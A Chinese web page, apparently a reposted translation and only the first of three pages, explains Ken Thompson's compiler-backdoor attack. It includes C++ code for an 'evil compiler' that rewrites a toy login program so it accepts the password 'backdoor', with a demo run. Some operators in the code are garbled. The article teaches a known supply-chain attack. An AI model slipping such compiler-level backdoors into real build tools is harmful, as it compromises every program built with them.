编译器是怎样编写的,java编写需要的编译器

首页 > 实用技巧 > 作者:YD1662023-05-29 22:48:25

作者 | Akila Welihinda

译者 | 弯月

出品 | CSDN(ID:CSDNnews)

你知道有一种编译器后门攻击是防不胜防的吗?在本文中,我将向你展示如何通过不到 100 行代码实现这样的攻击。早在 1984 年,Unix 操作系统的创始人 Ken Thompson 就曾在图灵奖获奖演讲中讨论了这种攻击。时至今日,这种攻击仍然是一个很大的威胁,而且目前还没有能够完全免疫的解决方案。XcodeGhost 是 2015 年发现的一种病毒,它就使用了 Thompson 介绍的这种后门攻击技术。我将在本文中使用 C 演示 Thompson 攻击,当然你也可以使用其他编程语言实现这种攻击。相信读完本文后,你会怀疑自己的编译器是否值得信赖。

可能你对我的这种说法深表怀疑,而且还有一连串的疑问。我想通过以下对话,解释一下Thompson 攻击的要点。

我:如何确保你的编译器老老实实地编译了你的代码,不会注入任何后门?

你:编译器的源代码通常是开源的,所以如果编译器故意留后门,肯定会有人发现。

我:但你信任的编译器的源代码最终都需要使用另一个编译器 B 进行编译。你怎么能确定 B 不会在编译期间偷偷潜入你的编译器?

你:这么说,我还需要检查 B 的源代码。但即使检查 B 的源代码会引发同一个问题,因为我还需要信任编译 B 的其他编译器。也许我可以反汇编已经编译好的可执行文件,看看有没有后门。

我:但反汇编程序也是一个需要编译的程序,所以反向编译程序也有可能有后门。受到感染的反汇编程序可能会隐藏后门。

你:这种情况实际发生的概率是多少?首先,攻击者需要构建编译器,然后用它来编译我的反汇编程序。

我:Dennis Ritchie 在创建了 C 语言后,与 Ken Thompson 联手创建了 Unix(用 C 编写)。因此,如果你使用的是 Unix,那么整个操作系统和命令行工具链都很容易受到 Thompson 攻击。

你:构建如此邪恶的编译器应该非常困难,所以这种攻击不太可能发生吧。

我:实际上,这很容易实现。下面,我就用不到 100 行代码向你展示如何实现一个邪恶的编译器。

编译器是怎样编写的,java编写需要的编译器(1)

演示

你可以克隆这个代码库(https://github.com/awelm/evil-compiler),并按照以下步骤试试看 Thompson 攻击的实际效果:

  1. 首先,验证程序 Login.cpp 只接受密码“test123”;

  2. 然后,使用邪恶的编译器编译登录程序:./Compiler Login.cpp -o Login;

  3. 使用./Login 运行登录程序,然后输入密码“backdoor”。你会发现自己能够成功登录。

谨慎的用户可能会在使用恶意编译器之前,阅读一下源代码并重新编译。然而,即便是按照如下操作重新编译,依然能够利用密码“backdoor”成功登录。

  1. 验证 Compiler.cpp 是否干净(不必担心,这只是一个 10 行代码的 g 包装程序);

  2. 使用 ./Compiler Compiler.cpp -o cleanCompiler,重新编译源代码;

  3. 使用干净的编程器,通过命令./cleanCompiler Login.cpp -o Login 编译登录程序;

  4. 使用 ./Login 运行登录程序,然后验证密码“backdoor”是否有效。

下面,我们来探索如何创建这个邪恶的编译器,并隐藏它的不良行为。

编译器是怎样编写的,java编写需要的编译器(2)

创建一个干净的编译器

我们无需从头开始编写编译器来演示 Thompson 攻击,这个邪恶的“编译器”只是 g 的包装程序,如下所示:

// Compiler.cpp
#include <string>#include <cstdlib>
using namespace std;
int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i<argc; i ) allArgs = " " string(argv[i]); string shellCommand = "g " allArgs; system(shellCommand.c_str);}

我们可以通过运行 g Compiler.cpp -o Compiler 生成编译器的二进制文件,这样就能得到一个名为“Compiler”的可执行文件。下面是我们的示例登录程序,如果输入正确的密码“test123”,你就能够以 root 身份登录程序。稍后,我们将演示如何向该程序注入后门,让它也接受密码“backdoor”。

// Login.cpp
#include <iostream>
using namespace std;
int main { cout << "Enter password:" << endl; string enteredPassword; cin >> enteredPassword; if(enteredPassword == "test123") cout << "Successfully logged in as root" << endl; else cout << "Wrong password, try again." << endl;}

我们可以使用正常的编译器来编译和运行我们的登录程序:./Compiler Login.cpp -o Login && ./Login。

请注意,我们的编译器可以使用 ./Compiler Compiler.cpp -o newCompiler 编译自己的源代码,因为我们的 C 编译器本身是用 C 编写的。因此我们的编译器是自举的,也就是说新版的编译器是使用以前的版本编译的。这是一种很常见的做法,Python、C 和 Java 都有自举编译器。自举对于我们的第三步隐藏邪恶的编译器非常重要。

编译器是怎样编写的,java编写需要的编译器(3)

注入后门

下面,我们向编译器的登录程序注入一个后门,允许任何人使用密码“backdoor”登录。为了实现这一点,我们的编译器需要在编译 Login.cpp 时执行以下操作:

  1. 将 Login.cpp 复制到临时文件 LoginWithBackdoor.cpp;

  2. 修改 LoginWithBackdoor.cpp,接受密码“backdoor”,具体的方法是查找并修改所有检查密码的 if 条件;

  3. 编译 LoginWithBackdoor.cpp;

  4. 删除文件 LoginWithBackdoor.cpp。

下面是实现上述四个步骤的源代码。

// EvilCompiler.cpp
#include <string>#include <cstdlib>#include <regex>#include <fstream>#include <sstream>#include <iostream>
using namespace std;
// This searches the file and replaces all occurrences of regexPattern with `newText`void findAndReplace(string fileName, string regexPattern, string newText) { ifstream fileInputStream(fileName); stringstream fileContents; fileContents << fileInputStream.rdbuf; string modifiedSource = regex_replace(fileContents.str, regex(regexPattern), newText); ofstream fileOutputStream(fileName); fileOutputStream << modifiedSource; fileOutputStream.close;}
void compileLoginWithBackdoor(string allArgs) { system("cat Login.cpp > LoginWithBackdoor.cpp"); findAndReplace( "LoginWithBackdoor.cpp", "enteredPassword == \"test123\"", "enteredPassword == \"test123\" || enteredPassword == \"backdoor\"" ); string modifiedCommand = "g " regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp"); system(modifiedCommand.c_str); remove("LoginWithBackdoor.cpp");}
int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i<argc; i ) allArgs = " " string(argv[i]); string shellCommand = "g " allArgs; string fileName = string(argv[1]); if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str);}

即便登录程序的源代码只接受密码“test123”,但经过这个邪恶的编译器编译后,就可以接受密码“backdoor”了。

> g EvilCompiler.cpp -o EvilCompiler> ./EvilCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root

你可能已经注意到了,我们只需重命名 Login.cpp,这个后门攻击就可以被轻松破解。但是,邪恶的编译器可以根据文件内容来注入后门。

没有人会真正使用这个邪恶的编译器,因为任何人阅读一下源代码,就会发现它的诡计,并举报它。

编译器是怎样编写的,java编写需要的编译器(4)

首页 123下一页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.